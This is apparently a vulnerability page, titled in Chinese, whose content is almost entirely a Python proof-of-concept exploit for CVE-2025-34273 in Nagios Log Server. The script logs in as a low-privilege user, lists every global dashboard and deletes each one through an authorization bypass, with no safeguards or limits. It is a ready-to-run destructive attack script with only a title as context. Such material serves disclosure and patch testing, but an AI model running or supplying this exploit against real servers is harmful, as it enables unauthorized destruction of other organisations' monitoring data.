CVE-2025-34273 Nagios Log Server 非管理员越权删除全局仪表板

# CVE-2025-34273 Nagios Log Server Unauthorized Global Dashboard Deletion PoC # This PoC demonstrates the authorization bypass vulnerability import requests import json TARGET_URL = "http://target-nagios-log-server.com" USERNAME = "low_privilege_user" PASSWORD = "password123" # Step 1: Authenticate and obtain session def authenticate(): """Login to Nagios Log Server to obtain session cookie""" session = requests.Session() login_url = f"{TARGET_URL}/nagioslogserver/api/session" payload = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=payload) if response.status_code == 200: print("[+] Authentication successful") return session else: print("[-] Authentication failed") return None # Step 2: Get list of global dashboards def list_global_dashboards(session): """Retrieve list of available global dashboards""" dashboards_url = f"{TARGET_URL}/nagioslogserver/api/dashboards" response = session.get(dashboards_url) if response.status_code == 200: dashboards = response.json() print(f"[+] Found {len(dashboards)} dashboards") return dashboards return [] # Step 3: Delete global dashboard (exploiting authorization bypass) def delete_global_dashboard(session, dashboard_id): """Delete a global dashboard without admin privileges""" delete_url = f"{TARGET_URL}/nagioslogserver/api/dashboards/{dashboard_id}" # This request should fail for non-admin users, but succeeds due to vulnerability response = session.delete(delete_url) if response.status_code in [200, 204]: print(f"[+] Dashboard {dashboard_id} deleted successfully (VULNERABLE!)") return True else: print(f"[-] Failed to delete dashboard: {response.status_code}") return False def main(): print("CVE-2025-34273 PoC - Nagios Log Server Authorization Bypass") print("=" * 60) # Authenticate session = authenticate() if not session: return # List available dashboards dashboards = list_global_dashboards(session) # Attempt to delete each dashboard for dashboard in dashboards: dashboard_id = dashboard.get('id') dashboard_name = dashboard.get('name', 'Unknown') print(f"\n[*] Attempting to delete dashboard: {dashboard_name} (ID: {dashboard_id})") delete_global_dashboard(session, dashboard_id) if __name__ == "__main__": main()